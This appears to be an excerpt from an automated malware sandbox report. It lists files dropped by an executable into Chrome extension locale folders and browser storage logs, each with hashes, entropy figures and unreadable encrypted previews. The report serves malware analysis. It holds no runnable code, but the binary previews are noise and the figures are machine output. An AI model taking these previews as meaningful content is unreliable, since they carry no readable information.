Preview:	{.. .0i].....Q...6~..0s..3..^........._..Q.;.b..]...-\|X...N.P.\|....t(B..6.............. ......a..^.C.U..\|...k.0..lzp.2(..ojEQ...U.P~+.J`%.V..7A......1...."...1^...f..J...I.....}.....V.8R.pW...K.....a.....:s...7.. ..y..zw....z..r.1..+.mNTM..x..$:.ZP....EI;T....\|..I0..k.,.=.x...)."....+(m...r........r.....[.0...).j..,.(e..g.SL.M.R...b............E......zs^.hz&W........b.G.M.CM..ai.pTK?z....GG..f...T6.p..F..5X.....J....fqS.oK..~....$]...}..t..+...d.\|.....X....hl.Z..^...q4h.8..S.oT/HV.j....j/.^Yd+......,...@.........J...M=.n..N.1;..k....~j......e......"\{...z>.j.=):......(&..]..K#.....BR..[..R.@-:(.s=y..C.......d...R....i..4...\|..4....,iR'~....6..:..r....fk%......tpD.t?J.V0.r{"2?.A(..VB.`......../..sV..k.GK..=.v}.]..x...s..$.\|;.r.f1o.....e.i.....u~.g...")CF.%.t~b.t=..f......YB..5.R".rq7W.......t.8......T.NN-.#l.u#V;....t......l...<...C....X.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	7.800963460767414
Encrypted:	false
SSDEEP:	24:GF0b8uwEfpe5iX7ECuU7IP0B4+XpA1h8wqWWkrSQpybD:GFkdfs524Cby+XCbkWrOlD
MD5:	F3444D214AF0FD5CFAE8F32957D4CAC7
SHA1:	5F6D50F7947381064853E51B9BA5ECAF8C4E7079
SHA-256:	2AA4C61F94BAAAF9D7CABF4D6DD64C06B4D7B8194CDB5099F3223697CE4FA3EA
SHA-512:	8693BB935830C6477E42B2B6935E5C971396211C61E0253CE08D6893813C41D8420E8AB8D6D3E3072E79CB073FBE59D27D01928F56237200C5C33BC53B338987
Malicious:	false
Preview:	{.. ...%[.%' .h.=~...?Z.-k.N..t...C.kx.....j.m....K.....J..6n.4%<j.u.y...........-9..H.7..Fw.3L..#J..:.../=R.Z..O..=.B(..wv{C%. ...Y;....7.a.\..;.....co..n.@.~..E...T....Z..[.Y[. :..D ..p]..z`. ..i.....N@.l$...4...$..../.Y..j.tO&AZ..H6.N.O..y.;.........c'.m.......180.+........UcYif6!.......8[.1j^".5o..a.V.Kr..D...Y........=-.C.B`Q..P..l......Q%y....@......n......UH%{.Q+..;R...d.dJ..IP@!&..G. Dw.4y6....9....e.......<<W)[:...&....h.G..._\...A^;9....\|....1...~GA.o.. .Z...{H..5q.....).B.x.....Xi..$j.A.e.$.K;=..1..E.y96..J4..KY..^...e?Z.CZ.x...'?..;.Y..F.v"..HW..8..<,J..)J....W..2q.%...7......>'..qT`.^%..]...b.aO.....L.)\|.B.X.m...I..X.}w...".9y...k..i\].6t...d.y..!.....L....\..=X'.........Q.L.l.74..A.....lF........f..I3.......z..{,3...;.....K....!...K.{...~=.B.kH:...w..,....4....".n..E.C<-...%s...'..vTR.0.=.=m*..X....&[#.ql.../..+}.5....9..1..(..t@.~.?t...u..AVNX5...S...10.r.....q.}L..C....S........W....j.O:......6...!.^.7.$....OL..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	981
Entropy (8bit):	7.7553933111097875
Encrypted:	false
SSDEEP:	12:dqrirYs5onnduIq5cIfX9cWNmHOZ2ka8U4tHV44jC4zxtZjlzwYfs+rSKYcii9a:dK2YhndufXX9D4ka8UwXbxttvErbD
MD5:	9948080B02B0C610414920527A975771
SHA1:	D712883D54EDDBE546E5AAA2D85F75B44B9985F7
SHA-256:	B5357F346DE81C9F865610667ED716A6CAD95B71C00C97F4730106984D59B54D
SHA-512:	969658938F3BAB77CC8C08EAF1FBC17D978520ED66347BB899F9F243E6953076108150CF25E3993706C99A6648787B30CD75E7C67E650D13F22F96AAB447D7C2
Malicious:	false
Preview:	{.. ..M..F.D.....k....(.Q.F.`....%.[.5W.~......n.y{..`..b...Y})...9.o.I.B..}lT'.1..l....9$\.6....d....f.0...I3..8.i..+iO,...K.H.....z..%Dh..y.C.)..L...\|B5r..p?.4......qq.v....:.....{.K...". .....y.....`8\|.....^.-...<.JZ<G=\..&.b+L.F.1):4.F....s.,.y...."..w.W...t,....J.....7}.........A...6..=....vuE%...Y.....e"....o...........Q.h.3...Y......0.....X.#"..rY7...6...o}......i.K.E.C....=M[.g..}...rx.;..=^.r3Qk..C.......L...3.b$...`U....3.0y....(.e.].7.L..0...o.......5/............P_..(o_x...6+..........n.......4...~6[z..I..~....mN..(..xAc9\|R.c....T.87j...n.v.0...E.....*..^.`...)..y"<a.82.f......"..0.n....Y.(z....0_....."...pwD..W.\|7.`..M..Ead.]c...z..%.`0I.....M..a.S^N.-Kx...~._Wq.8.u.&.......0.....o....x).B`.b.aj."m.../......{..{.l.o.Y.M..#!../7.gB.v.O.......A....5..(..l8..=..F..s%.\|..cq...~.j.v%...{.)...78.UZ$..49...$d]...-...S........O...#..eGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	7.788989655983924
Encrypted:	false
SSDEEP:	24:F6dZbYtygP+pHgL9Z9boJTyy2H7UxNVbD:QbYpP+pHgLH9MEy4Ux7D
MD5:	0C7CEDAC809BCCC3B31168E2F5CF87BA
SHA1:	CD395F46568774F6DBBCAF3E86C9E0221A12243A
SHA-256:	B1811F4FCB5F0845A5EF47367866F2E4B29EE1592161F12AECC68F1CC7723C95
SHA-512:	003E06F11EC40F98688CF22EFE1CE8D01C37CD59E62FFC11D25C041609B31017035D558192B8B060D6FC3367D242777D9B6C537790C3CB93C0C17F67EE4686DF
Malicious:	false
Preview:	{.. P..c.W.]...0.r.1[.8.....1.b'.\..3.....)N.F...+S..7.y\_...^..5..... G..U.u._t.^b.q..;....m..4...=7....y..4.COs.V.I....Z..H....W..-=.......3........\|..!V.......w...k.\|..]p...$..I\|(=..~.&...p`K<..=.........m!X.[.U.3S..t...v.u....i......\...h..B+B...aX......K...r.:Q~.E_...zaF..K./.6.......&...kIzwr.z5.T/.s.....j.......<<...E.4j.49k..(J_......swI..[...<.........:.z....E.4n..-.s..=...Q......+..&.R?.......\.].T.zO...P..>w..zM...i.9'.....\|~C.....*[.>t..^....$....V...{.. ....xf..G..Q.....[...Z...p.O...lE.....QX..v:..%..@Xa[.`.p...X..4x.V..[U..6..7...5..J.R......Yf..+..5..p.hm....y.B%.5...;n.,.Y....z.0.k.R.&.sr.G.......S.!@..b..'.F '..o.F{~..F...(...$.Wk+.W...nf./?>H.....52...Qv2.`.@..i.....Y.2k.!7...hH7%...bxmL._..BD.XP(DOJe.Y=.,w..Q.V....y........C.W..H.P....W.^T_..%..3..E._O.X.I.P..c......\|g...M..`..o..H..=.h..P8.........WGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	7.809259697710308
Encrypted:	false
SSDEEP:	24:BqHCPDv8sf5RBi/kkZWEW60ntgkvOZi2OGDnQ2KcPobD:BqiHBs5EE/+QiZMnmTD
MD5:	9794A852DCFCDB0DB1863A666AF34D76
SHA1:	68C95C773E9795A1C17F251FB0B2CE5EB97B8E3D
SHA-256:	9DF23BCC8C63B9504994332A5E6BBF4AB899B39608E44C8FB76A15137168EE12
SHA-512:	E6D8D16E850B1BC7599DB3957B24C40A979DF5A746B97C7D577B42DD89CBEDC4EF2ADEB2E984B1A545C3A9A1052171DB1A7E750C1D5856175B684DF7EE706185
Malicious:	false
Preview:	{.. ....#...>..&.......D^.;pD/V......l.}...L.....N.......s..$e/m.R.W.l.j.<..O.D...\.a.....{k.....qi..[...n....+.Hd.P..WI..\W...'...Q.D.h..b=.....,..U.../...`........X.^.O....8.-MI<=3W.......!.5.K.....Ny..3b.../.=........r...>J.P.tKe.m._Q..\|)U,..>^.Y O..lhd....k.cRO.U....x..;..A}..>.\.B{)...%6....5....VI..UUnK.@T]...t....E.....u..B.!.'q..-M.)\.P..7..-`@.8..1.d.`..=V!.6...L....s.I!..^....`..2.Z.5+sC..OUg...)....z.X0...hc.zG#.@-....t..V8.'...T......\|.1~e..uPRD....oYY........F\....K.$.hW`9...^...^ZF...>..?g.+@.....}.\...L.l."...#Y,..+.8.J...CmR.>.S.l'q.dA.Xn_7!..!{....%...yW,....z.kN.{B.i..^U.=?6\|..>.,.,....7.O.....~..K....s..p.o>]...NG.T.'.\|?.{n.m.K..4R..i..p..M..)Q....6....^{..-...Pz(.......y..{.{x......,./..'.iK{g.6<..V.f..,GEB.W.[$..Q3q.....]..i.........(....j....??...z....g..-...c....T..k.....c..f..{..=z,.V.......]..... .#:.u~.00..6.q..Z~.x.2..k.O>A.:"....g..!\=....'P...O..].s...j.uU........2.k....jE....;..Y....l]p..mA_........n..l.I`x...?E.e...G

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.808690398951404
Encrypted:	false
SSDEEP:	24:19Bwc7wadVumsx43tMI5SnsIDAR0PX1jQVaCyrkgUGHTTC7DwRbD:Bwc7wGVTNosO2fywgUGHTTCHUD
MD5:	0D9DC0733A124AB2A1B8447E5B915D4B
SHA1:	28C3B1C3E4D6A4919F40E51CA86CDB7DCB35F5A2
SHA-256:	06C1712E128A3401E50FC7C163EEAA462F7A82B4F01EAA87AF9A3CB95AFA7F3E
SHA-512:	1BF49AA078C487B5572CB2620050E748D7851619FC7E1EAB2B2728DD123AC55DEC26827D56EEB167667F5C1D23670A48E77B3EDBE77A7E90B0DF92D9AF917073
Malicious:	false
Preview:	{.. ..N~.\|..^Vy...W.+...b...ll2..u.>:.C..."...8.t.]...8....E.,17.d..@.;.,.o0.x..l...n....~D..>...5o{g.I..63.{H...[...4.A.u6/.3.a.B..O.a..D...z.=n..f...3..V.O.E\........@v........?..n..I..{Z...C.O.*E'...Z.G..8...(e.e............I.'..Hz?H..#P.l.\.O ...S..=......u.R.LLJ..l.o).....i..WT3J.O...J.....5..9.f/M(.]&...9Q..&........[..R......%..G...wH_+y..~O..Q..@..'...j.\|p]-...6"..c.K...p:......x.)...c..Z...E..mw_.W.;Pc...rs..Y..OrJU-F.v...R.w{7...!5[....(.....2.O..`...R.W\...7......+.. .....+...d...p.N.#z..D3.5...rmP.3..y....W......y.8/........J...U...[.B.s.J..Y...Z.<....{.see...I:....<...E.....B.e&..@,.X .....d#.......`..N.....bA^7.?..Pt.....T.`."...~].Tk..c^.........l.r.....ST..C..2....QS`......c....:...HZ...W.-\....nm....h...;....b=....+.......O[h.......+q.?+_V..Kq.....z....Fj..A:.eZ...,...N.J...hI..d.....dS.@.G..D!..J..{'a.v.KGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.832790080211657
Encrypted:	false
SSDEEP:	24:SJRFoF84JeZKvrUE5a2L6Bek9Q2+Yw5lg7/xmH7vYlQjY9bD:SJ54JeZKvrUEcs6x9Q2+lq5mHTYGc9D
MD5:	52D86EBA158199B88BFBF29C89B080F0
SHA1:	98849E890E54BEF7EA6097BEA8B4A01E2356522F
SHA-256:	4111D1DDB9FDCE8C3EE8670AC1401854C13B60743AB2C219263D1B8EE1A41B02
SHA-512:	CF64A19098885DB3B4FF1FC0FAF37AD66B3A0A73306F806007A7A98464CE338ACD6C038EEC9D209AA9305353E2A105AFFA33CE4A4B9F1193D9692C3C42689D72
Malicious:	false
Preview:	{.. ........Q.Q...}.R...<....3.5...-.....gSE..C.Is.P\|...^z....eE.....7%..lM.X.Z[..e{&ef..z...........'.z?..$.vWsW8.(..7...H....P...8;kzZN.PKH...@U.I....&...-.....9.9.! ...A.m.......OQa.=...=~.\pi...!.rM..C.c....h.;YN.....8..HK....".+...._.0.?..K.\..T.5\..2..?.0...'.Tk .{..v.\|3.q.I...WE..!...w..U...N./....=0.D..V.o.uA...6...8.^..l..X@.....!....).L....A..:.{.S\|......He....az..rp\|.@-b..7....f..[..@.h....s.t..-....,$...}C$a.;k....9..P..~.Q.8.E`.O..Ra.<1c..Hn.f...1QI.......K..n...^d...!......'.S....3.h.........9`Xi.n...d.....&V>............~.Q..q..E.7qMa...o&..[e\Q...7{i.........../...h..;.j.......PC.ib+~.h..3j..`Ch..-].6!....O.?1.[g.....Lw2.\.&......>....}. dN...@..D=.Na1..\|f .......t...J.....g.b..BK......j....D...b..DFq.."..........=.\......\|.<..\....;Z...[..UIJ...)..&.z..j...>$.Gg.y...@..L...L........Y.n)..0..#......x...sf.\|...U.e..u."......jG.<.9..0...S..).......6.......U.......:..=J......7......&.}E...].9x..u.wm...oJ4...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.80803868376771
Encrypted:	false
SSDEEP:	24:PCjwxspzg4mORqzs5nDsX1rh5zX8aIta7qcdz3KanobpBoo9bD:60xsmAF+1h54fCz3nobHD
MD5:	22D07B0308FFBF3D59D7957690491D68
SHA1:	841F89C66C7F74F39AA5F16278EF43C5C6B19E3C
SHA-256:	08BF4306CE02DE8EBDE1D054CDBEEA944F8689716B58CF7DAE3F26069906D924
SHA-512:	70C8649C8F88D53578BD1C5F4C82F36065D8DD18D49E941D4EF80088ECD3EFD967B69609F2367E5480668F992ACA90917E15ADA56F4E91E1C7A2CCB464172411
Malicious:	false
Preview:	{.. ..T.MV#..h.!i?...$.y..c.....X..(..6...u..{...8b..A...2..R .y.<'....U.S.......#..4......]j..p6u..c.~....$...+e..K,h....i..............e.3.... .....J.2...1S5.H.W..%.....T.Z..m....=.V..dU......>w......$..._......whk(.../23-....D..Z./.C.....qc.....:.3 ?..b.......{...m.t.l..kJ(..=(oo.PJ..v>.....!.%..j..s..4+e......T.Y~..=........].We..:......{ .>.7...Pr.R...........Tm...y.....~."..A:...+...).:Bl+.fq+.su.)X...t9.O.S.>^.OTG......x:.]....;...9..x}7Z..y..zI...NUr..qFXx.O.....&...f..2.d...T......3.+,o.._..../W.kP.34y~.......6.~..f..z..];...B..............V.G\..n)\.\|)....OP....oT0f...k.%`.'."X."..;c..K..1.A...n9Apy..3.[T....&..8.S.Ga..d..U.....Q.\|.:..nuU....l..I..d..fl..n.S......L>.w.[p..iA?..........7......O.Q..c.....Q^.#..~...^H.......I......z.w\|....+.*.1........w.8....T.Y......FLb....8t.V..n.S.d.......x.I.).=..'.Rl-=......9.....9..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	7.792246370769531
Encrypted:	false
SSDEEP:	24:ZXW00KWdLTXWgzYyGnAaKAcjLcBaq14lMEbKk0rI+sUIbD:lW5JKxwACL1Kk0relD
MD5:	32289CEB60F9424929E04085B95226CB
SHA1:	9C4544461CDC607172524EAD0D0AFDB6B8299CE7
SHA-256:	94D124CFA5B7C05EB763D6A0864DD940BC3B1E5192BB02DD01D3A076AFF89C07
SHA-512:	44A27D096282FEC6B6BCCE177533666DB24BC98268D5A544192871C00D73A8AFA687747C58FCB4A15513EE27FDE076127846A4DD729D4C30829B666CE958B885
Malicious:	false
Preview:	{.. .#../}L9...q.....j.(..B....=.`7..M....C.......k.a...E...+=.+-..eq.5:e..-..5f\|.9a.e..\|...[.@.kc..7..?....6X...)IY...VP-...P?x.Xm...Z..X%Ht..h...$.Q9....'...........\|..2\.w.K.!.-I....;)L....U.1...:..!.=.....s4.O%}....".5.&."X-.'..M<.@<..-}=.3..r.R.....t.jF.....x.....?F.#,b..\|f.Yv8......V. ..e..C.O,...s...Tb\a.o....g........E.(..w...^.....F.l......,.h...]...V...#.....`..[.'..H..X....-.. S0..`....W...rR...m.Dv...)..x7K..hEkI.. .`\..V.^..rU..5..>l.8......V.Rl.?.......+...-,...M...-9[...'...\|..u..oH....-.=..P.X....')..lj..t............p.V.s.@..,..}.U9..c...G........Y..?.j.~?!.....\|.....xI.p......S).(.......VH+lL.g.t.7.Gx...@zd..%..v........!..X.J.s.............i.A......w.e....l.....R.([......9.-...[fK.C.e.W.P.......m...r..#D[........XB.Jc....uc....e.......}.....G..Q.}j.M.3.....DBAkL........~....i...z".\|..U..cC."<.9.k7#...v......L..{m..h....jd.......B..A..D...Cq0........'..&.-8..g.M~.]...r...1.-.-%....4..G.FFC$`cGQ9DjFmWFDqpsyzsOnaxE1Xr

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.805098340373259
Encrypted:	false
SSDEEP:	24:ac2QTpv0TB6981+k/MuFxA4Au/JiTkEcdqMw7PHIbM9bbD:ac2QNv0TOyzUIxAuETPMavh9fD
MD5:	772E4BB8772ADBA7C0898B1AB2B6808C
SHA1:	C197050EE3E5196B05D79490330AEE03BDA2403F
SHA-256:	D581A810682D97C9449D9BC9914CB409FF47B58676915A42847EF787B4EE482A
SHA-512:	1014814AA96F5A9A6650D51F3F3B0CFAC64872CFFC71B9060A84492856003F35DBC77C26DBE3974EA7D2C0E5844D3873F0334591B434C53E9011C43EE9416201
Malicious:	false
Preview:	{.. jRtU.i.....2..v`/.;U s.YR%!.W>56..e......h..!+~c.~.-..y.s.\X..P].U%.)\|e..[._....r.].VJ...^X}..%....^D.....v....~.....$3...h..{@.. x..V.4}...p.3..l.l..];lt.8..+0..}.W.jEC..3B....s...-t....4.]4Z..3...#.+."...a.... ...\|~t...v...O.Y....=K..#.[;C.....<$....4.....,&..ZD..N...U.\O......0...x!;....d...5m..O..d.J..p.........a(.:#XNs...q.E#f...,...d...M..LY\|.(.Y~..Zp.b..U.Y.C..y.{p..J.:.w......`...._...HG.B....U;.U....j.@].%...=...~JR.H.....YO.Rgg.p.O..V......E.h...X.p.x.w.!......`.X....1S.E.44..3A......q....b.....,-...6\r.ls..A5z..X~e...0).J..xm.>..W.tT..C.jHY.Ix..].b......T._yfb.c"...g.3.....K......d...oP..\s....\|....... .uG..qL..........(,.E+...e.....m.'....r..Z.zg..\.W....>m.O.K......[....W8....T.......1...S.-[$..l....i~&E.y..;+.(z9.\[.....t.o.Q..n`....q".L.o*,.....{...d[..Ta.#A.q...V(.c.9..........}.]h....B.3o....X.Zm......y....jx.q.[d..P..^..d.9..."b.....ls.2.Kj.....{b.kA.=\|.qpn^jK....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.805662048656552
Encrypted:	false
SSDEEP:	24:YaOL/bR84asKgYv3pPJGAOfBFISqnR896bD:s7bK4SZfpBJZ8OD
MD5:	530E9E104ACD7FC3192523EFF16B8463
SHA1:	25DFABDD0C37D9D7889D812C3F1E934D9C13F5A5
SHA-256:	6AC9493DDEB9A47BC80851971D813D16B467E3F31865B55D88D64F81BB6E7291
SHA-512:	D1A442642CEB11A029C64298880FF297CA6630727BDBF5BC16CF15A7656D8825C19218E5994C00DC88942CE8D770949CFCE9D35F8B5DFB16BFDFB42DB4C98E00
Malicious:	false
Preview:	{.. ..aOSwSp...v^.a.z..v.!. .>ll......j.."....O.5.t..0.\|M..SA..py..........PQ.c....J.{@.g\|..P.M...?...k.5y..$.....9.."47{..EB.E..3[.5Rd.+v.K.......wd..a.A..;.M..k.t3.}.....\|h./....MwA......V......{..L.c.....L...K.`.b....+....}......R.bA..K....X~D.'..?.iy[....A.8...Q./P.0..Y.#..z_.Bf..+..JHMX..a.".3.f.4.....5R...U...r.m.Z....v...Ma'~..h.^...+.9l.,..b5V.a.<.....2....n..(.<G.........i..~....y.....B..H...?.Vy,D.....~...:C../.dz.e....".n/....\e......DD...;.....].A.8..Z]=qj..u]..m.f......\|..H.s.q..&.s.q.....M..(z.?g....#5.. \.._.:~....2.%....;S.i.._..5<...@..G.....#.x.....&..?.7..^oA.......kw..*.1.T.G.~..Jlum..L.zB...`..6l.......lF...U[W1.d..-..V.a.:..\<5...W.).-k....#..x.....g.......?<)b..+..J..#lg.JX.+ .g`...f>..#\..].z....E......e.&.-h..,/.%.:R.[.c7[..L.. .....N..K..T.....6I........1GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.756373018485176
Encrypted:	false
SSDEEP:	12:7lmIvIYLlWWpAumldondInZvQ57Pl6YbT1hyzF7uO2/a6Hb86YOqe4KFvrQr7eYX:7lxIufmgm8B6YDyzduC0qe4GvrQnrbD
MD5:	6A9F4A9D08304A0C8E5C10DEF89304D6
SHA1:	05D8A9CAAD7B70581192244589B08D9D87BFE927
SHA-256:	4AB64BBE81BEF52CBACBADD3214646366F12CF6FC3DFC15EDFCCAB2420B9A879
SHA-512:	738DCBAD1B9FBD548C7AC93C6A3566256ED86435CE5C945146F1805363E29FD95E7B4070BE0589E00ED1234FB986205EFBF5DE84F06822F169E052FE6EC41D61
Malicious:	false
Preview:	{.. 2........z......~4.F...M.p..Z.!..._)....C{1k...9..v..=.Q<......#'..t...b.a...I!xS....k.......:[...n.t.........t.L..0jLa...b...<.j...;....R...K.}..7.V...\|.. ......x..&..oX+&..h...?._..(<,.)E.$..x....S..(I.Lt-...RL.9...`..=.z~.Tg.D.=F^..'#N..$.;@M.."o......%.{.........&}.W.k.z......-q.....O{..T..5..p;;.u..q.yP....@.-.....'qZ....,[d(.....Nu..D..B..>_..P...8..[V.....7....M.K.....s/gy......G..<.?..).....v....x..7(...o`....2.rS......2......pq.(..............{..t..TG..`..4".y...~..e.d..[.....P.$..L4N....D.W..UK.......q..........C.!G.....u.fv,...hs3G.0..H....T....'.b...Q...h.hk.....5.Ka\|K.1K.E...2........Ga6........k.:.N..<.$5..CT.{.w1.K..q..7.q.<.%....S.....O..g.5...8Jk..W.....\..5...j..JJ..~....,$Y,.]F<.+.?.Z.....rkq..x..v.gVr^..0T.......!H..^q...B...Q.Q:s...pr..'pH,.l.\|..:...d{..gn)q.d....Y.'.h}...+(...S8...\.....3...YGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.937554815029686
Encrypted:	false
SSDEEP:	48:rIeOLQE/9JBccRkfwEURu1sPQAlfFjSBh+hIQNhSwD:HE/9Dcpfz71shfch+hIYSs
MD5:	BE97D06384904D3A6EEC2099F610A445
SHA1:	678FEEE144131EB315084E89EBA185CABF42FB0A
SHA-256:	0351D2B822BADC537EC099F70029223AF6BC3F41737BB3A4FA666F14F2B92FCF
SHA-512:	B2A7EFB8CDE36877B39275FC668DE0FB055EF44B25E38363BF5F74EAB7F9FE9FBA40B0901AE77980BB76634F1B7066284689E74CF6D05116B2D37F9A19382892
Malicious:	false
Preview:	...#^..j.f...\.u.#7f.9.....^.9/)./pL...a.^....TI.a{........c...8w.B......\|U.eeg.b<...N.c...MR!...Z.vu......!...;.l.3.lu..pn.D...k..--s....\..."Xgy...\..~7....c ..&.5..g..FlJ....,..^);...G..4.X.~.r..g.......!:...;.....`...l!p.H...[.. f,.:.,.....q:a6...p.....A..#h.....W. ......5/....8.F4.T./.......w5.+KL..~0...=....V..,.@<R...S.<...)...?.d=4...4$.P`.....'..O..].U.[.V....MO....I.y#...6.-.Kd..a!M.G.l.$.+e.p.hkT..% ..oq..../T.i.i....JT..R.....a...K.f....rk.D.6?_.=$.M.C>.2.l...~.f.....U..H....F.%.ff..zm>.\.s..<..&dw.....n?d....H...7d[.........>.....>....2..3..{..N.P.b4......P...G...v).:...oZs......Mo...R....:9J.L.<..qT-.L7.b.=.r..8@#V>....5?....h.D-....L......d.H.C..]9...l.+..r....?.w.uH...........o.....<.8.+....."y3.!udm%..H..[.6..H...%.O...!n.D..C.{_..s.e.}...rT...b%..Ff....m.@..8...?...YY.....1....Fl.R...\|.j..6.....r]..}...2\| .qF..e........&O....r...m..X.......d..<.u.C...j.0...3...4...Y*..mf...1C..X..........+....K.@..J.N...Oh..1W......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.674199987603035
Encrypted:	false
SSDEEP:	12:kEK/GA+NYSCPY9NvBvQfH+w+jaCAx/N7aVjev5+AtgYcii9a:HK/oYSGENCwR0Mo7bD
MD5:	D463874FF704F958D5E47845519D6311
SHA1:	A222FDA7F048AB285E4B9BB6BB302C2D53154594
SHA-256:	9668000C5D6A389DC890F7F4441D7E43BF23FE9C4095A2AD09D4D15A32126F4F
SHA-512:	216210917E0681466434C6BCEF66E4E9B2EEDB3AFE90BD0F0613C95A9488E0CB9F54948322C8CB124CEA7593C8CB1ECAA5EE65D0998D35E3BDFFAC97C2E1E898
Malicious:	false
Preview:	2023/..X..A.y.l.Z.......m..:.\|".y4.@G.!..3..Ro).{P...........t....B/Y6...^.{.E..D..]..,.+P.C.!\?\.r..F...o...5.=..z..)I"1..c....,.BZj..7..j.....k.....*.S...]...U...M...`.\....O2@g8?...^.....#.i. ......._.C......m....H....yH...^.....H./....c=...4......bM.z.RQ.9..!\|+<.w\pe.&j..@..D...c.i.......[).Cz....X..u..K....Jt..t.S}....<....K....{5.\|S..`.......7qX...[....6(i..gzo0)...$.D..F.g~.g8!Ul&...`.&a.".}V.{........;.WeH...e....{...W..H.\P.....&........^.<.....X...ZV.E1....VQ...0..]6...#...Hh.i..V.8L..S..u.O...&_....pK..c.Rr(g.....Hu.S.0..{%GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.462959621055348
Encrypted:	false
SSDEEP:	12:I8hj6FltuQGnRt8DCMFoH3wWpjfYcii9a:I8hjmtuLneCnwkwbD
MD5:	69E566402D17338B844F90006FE9E42E
SHA1:	D0088D695974F81CB6FFCEAFC47891AEC4F805BB
SHA-256:	263EF7DB6D53FFE377F4131D4998ACBE8DB0516BECA4FB57233A1E49816BCF9C
SHA-512:	C32A2F35E3AA212A0511DB12970D984501B8CC5B1F991A35CF30D7B7509E5780A7AB9061D3037EAC1754A45314C4AFEC19358418914569285C727009DE9F433D
Malicious:	false
